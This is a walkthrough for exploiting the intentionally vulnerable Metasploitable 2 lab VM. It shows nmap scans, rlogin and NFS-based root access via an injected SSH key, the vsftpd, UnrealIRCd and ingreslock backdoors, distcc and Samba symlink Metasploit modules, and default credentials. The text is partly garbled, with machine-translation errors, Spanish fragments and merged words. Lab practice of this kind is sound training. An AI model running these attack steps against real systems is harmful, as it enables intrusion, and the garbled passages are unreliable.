Exploitation Guide for Metasploitable 2

Metasploitable 2

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux.

designed to test security tools and demonstrate common vulnerabilities. The
version 2 of this virtual machine is locatedavailable for downloadofsde [Link] and
still contains many more vulnerabilities than the original image. This virtual machine is
compatible with VMWare, VirtualBox, and other common virtualization platforms. In a way
by default, the network interfaces of Metasploitable are bound to the adapters
NAT network and Host-only, and the image should not be exposed to a hostile network. This article describes
many of the security flaws in the Metasploitable 2 image. Currently, it is lacking
documentation on the web server and web application failures, as well as the
vulnerabilities that allow a local user to escalate to root privileges.

This document will continue to be expanded over time as many of the minor defects
evident in this platform himself they go finding.

First Steps

After starting the virtual machine, log in to the console with the user msfadmin.
password msfadmin. From the shell, run the command ifconfig to identify the IP address.

?
1 msfadmin@metasploitable:~$ ifconfig
2
3 eth0 Link encap: Ethernet HWaddr 00:0c:29:9a:52:c1
inet
4 addr:[Link] Bcast:[Link] Mask:[Link]
5 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope: Link
6 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

Services

From our attack system (Linux, preferably something like Backtrack), we will identify the
open network services on this virtual machine using theNmap Security Scanner. The
The following command line will analyze all TCP ports in the Metasploitable 2 instance:

?
1 root@ubuntu:~# nmap -p0-65535 [Link]
2 Starting Nmap 5.61TEST4 ( [Link] ) at 2012-05-31
21:14 PDT
3 Nmap scan report for [Link]
4 Host is up (0.00028s latency).
5 Not shown: 65506 closed ports
6 PORT STATE SERVICE
7 21/tcp open ftp
8 22/tcp open ssh
9 23/tcp open telnet
10 25/tcp open smtp
11 53/tcp open domain
12 80/tcp open http
13 111/tcp open rpcbind
14 139/tcp open netbios-ssn
15 445/tcp open microsoft-ds
16 512/tcp open exec
17 513/tcp open login
18 514/tcp open shell
19 1099/tcp open rmiregistry
20 1524/tcp open ingreslock
21 2049/tcp open nfs
22
2121/tcp open ccproxy-ftp
23
3306/tcp open mysql
24
3632/tcp open distccd
25
5432/tcp open postgresql
26
5900/tcp open vnc
27
6000/tcp open X11
28
6667/tcp open irc
29
30 6697/tcp open unknown
31 8009/tcp open ajp13
32 8180/tcp open unknown
33 8787/tcp open unknown
34 39292/tcp open unknown
35 43729/tcp open unknown
36 44813/tcp open unknown
37 55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Almost all these listening services provide a remote entry point into the system.
In the following section, we will walk through some of these vectors.

Services: Unix Basics

TCP ports 512, 513, and 514 are known as the 'r' services, and have been configured
erroneously to allow remote access from any machine (a typical situation '.rhosts +
To take advantage of this, we will ensure that the rsh-client is present.
installed (on Ubuntu), and we run the following command as a local root user. If we are prompted to
request an SSH key, this means that the rsh-client tools have not been installed and
Ubuntu is defaulting to use SSH.

?
1 # rlogin -l root [Link]
Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
2 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
3 2008 i686
4 root@metasploitable:~#

This is as good as it looks. The next service you should consider is the system of
archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o
requesting portmapper to obtain a list of services. The following example using rpcinfo for
identify NFS and showmount -e to determine that the shared resource '/' (the root of the system
of files) will be exported. We will need the Ubuntu packages rpcbindynfs-
common to move forward.

?
1
2
3 root@ubuntu:~# rpcinfo -p [Link]
4 program for proto port service
5 100000 2 tcp 111 portmapper
6 100000 2 udp 111 portmapper
100024 1 udp 53318 status
7 100024 1 tcp 43729 status
8 100003 2 udp 2049 nfs
9 100003 3 udp 2049 nfs
10 100003 4 udp 2049 nfs
11 100021 1 udp 46696 nlockmgr
100021 3 udp 46696 nlockmgr
12 100021 4 udp 46696 nlockmgr
13 100003 2 tcp 2049 nfs
14 100003 3 tcp 2049 nfs
15 100003 4 tcp 2049 nfs
100021 1 tcp 55852 nlockmgr
16 100021 3 tcp 55852 nlockmgr
17 100021 4 tcp 55852 nlockmgr
18 100005 1 udp 34887 mountd
19 100005 1 tcp 39292 mountd
20 100005 2 udp 34887 mountd
100005 2 tcp 39292 mountd
21 100005 3 udp 34887 mountd
22 100005 3 tcp 39292 mountd
23
24 root@ubuntu:~# showmount -e [Link]
25 Export list for [Link]:
/ *
26
27
28

Gaining access to a system with a modifiable file system like this is trivial.
Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en
our attacking system, we mount the NFS export and add our key to the
authorized_keys file of the root user account:

?
1 root@ubuntu:~# ssh-keygen
2 Generating public/private RSA key pair.
3Enter file in which to save the key (/root/.ssh/id_rsa):
4 Enter passphrase (empty for no passphrase):
5 Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
6 Your public key has been saved in /root/.ssh/id_rsa.pub.
7
8 root@ubuntu:~# mkdir /tmp/r00t
9 root@ubuntu:~# mount -t nfs [Link]:/ /tmp/r00t/
10 root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>
/tmp/r00t/root/.ssh/authorized_keys
11 root@ubuntu:~# umount /tmp/r00t
12
13 root@ubuntu:~# ssh root@[Link]
14 Last login: Fri Jun 1 00:29:33 2012 from [Link]
15 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
16 2008 i686
17
root@metasploitable:~#
18

Services: Backdoors

On port 21, Metasploitable 2 runs vsftpd, a popular FTP server. This version is
particular contains aback door(backdoor) that was introduced in the source code by a
unknown intruder. The backdoor was quickly identified and removed, but not before it
a few people would have already downloaded it. If a username is sent
ending with the sequence ' :)' (smiley face), the version with the backdoor will open a shell in
listen on port 6200. We can demonstrate this with telnet or using a module
ofMetasploit Frameworkto exploit it automatically:

?
1 root@ubuntu:~# telnet [Link] 21
2 Trying [Link]...
Connected to [Link].
3 Escape character is '^]'.
4 220 (vsFTPd 2.3.4)
5user backdoored :)
6 331 Please specify the password.
7 pass invalid
^]
8 telnet> quit
9 Connection closed.
10
11 root@ubuntu:~# telnet [Link] 6200
12 Trying [Link]...
13 Connected to [Link].
Escape character is '^]'.
14 id;
15 uid=0(root) gid=0(root)
16
17
18

On port 6667, Metasploitable 2 runs the IRCUnreaIRCD daemon. This version contains a
backdoor whatwent unnoticed for months, shot when sending the letters 'AB' followed by a
system command to the server on any listening port. Metasploit has amodulefor
exploit this in order to obtain an interactive shell, as shown below.

?
1
2 msfconsole
3 msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > setRHOST [Link]
4
msf exploit(unreal_ircd_3281_backdoor) > exploit
5 Started reverse double handler
6 [*] Connected to [Link]:6667...
7 *** Looking up your hostname...
8 *** Couldn't resolve your hostname; using y
instead
9 [*] Sending backdoor command...
10 Accepted the first client connection...
11[*] Accepted the second client connection...
12 [*] Command: echo8bMUYsfmGvOLHBxe;
13 Writing to socket A
[*] Writing to socket B
14 Reading from sockets...
15 Reading from socket B
16 [*] B: "8bMUYsfmGvOLHBxe\r\n"
17 [*] Matching...
18 A[*]isCommand
input...
shell session 1 opened ([Link]:4444 -> [Link]:60257) at
19 21:53:59 -0700
20
21 id
22 uid=0(root) gid=0(root)
23

Much less subtle is the old remaining backdoor 'ingreslock' that listens on port 1524.
Ingreslock port was a popular option a decade ago for adding a backdoor to a
compromised server. Accessing it is easy:

?
root@ubuntu:~# telnet [Link] 1524
1 Trying [Link]...
2 Connected to [Link].
3 Escape character is '^]'.
4 root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
5
6

Services: Unintentional Backdoors

In addition to the malicious backdoors from the previous section, some services are almost
rear doors by their very nature. The first of these is installed in Metasploitable
2 esdistccd. This program makes it easy to scale large compilation tasks across
a farm of systems that seem to be configured for that purpose. The problem with this service
an attacker can abuse this to execute a command of their choice, such as the
demonstrate the use ofMetasploit modulebelow.

?
1
2 msfconsole
3 msf > use exploit/unix/misc/distcc_exec
4 msf exploit(distcc_exec) > setRHOST [Link]
msf exploit(distcc_exec) > exploit
5
6 Started reverse double handler
7 Accepted the first client connection...
8 Accepted the second client connection...
9 [*] Command: echouk3UdiwLUq0LX3Bi;
[*] Writing to socket A
10 [*] Writing to socket B
11 Reading from sockets...
12 Reading from socket B
13 uk3UdiwLUq0LX3Bi
14 [*] Matching...
A is input...
15 [*] Command shell session 1 opened ([Link]:4444 -> [Link]:38897) at
16 22:06:03 -0700
17
18id
19 uid=1(daemon) gid=1(daemon) groups=1(daemon)
20

Samba, when configured with a shared file resource and extensive links(wide
links) enabled (which are activated by default), it can also be used as a type
backdoor to access files that were not intended to be shared. The following
example uses aMetasploit module to provide access to the root file system
using an anonymous connection and a shared resource with write access.

?
root@ubuntu:~# smbclient -L //[Link]
1 Anonymous login successful
2 Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
3 Sharename Type Comment
--------- ---- -------
4 print$ Disk Printer Drivers
5 tmp Disk oh noes!
6 opt Disk
7 IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-D
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-D
8
9 root@ubuntu:~# msfconsole
10 msf > use auxiliary/admin/smb/samba_symlink_traversal
11 msf auxiliary(samba_symlink_traversal) > setRHOST [Link]
12 msf auxiliary(samba_symlink_traversal) > setSMBSHARE tmp
13 msf auxiliary(samba_symlink_traversal) > exploit
14
[*] Connecting to the server...
15 [*] Trying to mount writable share 'tmp'...
16 [*] Trying to link 'rootfs' to the root filesystem...
17 Now access the following share to browse the root filesystem:
18 [*] \[Link] mp ootfs\
19
20 msf auxiliary(samba_symlink_traversal) > exit
21 root@ubuntu:~# smbclient //[Link]/tmp
22 Anonymous login successful
23 Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
24 smb: \> cdrootfs
25 smb: \rootfs\> cdetc
smb: \rootfs\etc\> morepasswd
26 getting file\rootfs\etc\passwdof size 1624 as /tmp/[Link] (317.2 KiloBytes/
27 KiloBytes/sec
28root:x:0:0:root:/root:/bin/bash
29 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
30 bin:x:2:2:bin:/bin:/bin/sh
[..]
31
32
33
34
35
36

Weak Passwords

In addition to the most flagrant backdoors and configuration errors, Metasploitable 2

it has terrible password security for both the system account and the account of
database server. The main user of administration msfadmint has a password
that matches the username. Upon discovering the list of users in this system, whether
by using another vulnerability to capture the passwd file, or through enumeration of
these user identifiers through Samba, a brute force attack can be used
to quickly access multiple user accounts. At a minimum, the following accounts
system weaknesses are configured in the system.
 Nombre Cuenta Contraseña
msfadmin msfadmin
user user
postgres postgres
sys batman
archive 123456789
service service

In addition to these system-level accounts, the PostgreSQL service can be accessed with the
username postgres and password postgres, while the MySQL service is
opened with the username rooty with a blank password. The service
deVNC provides remote desktop access via the password.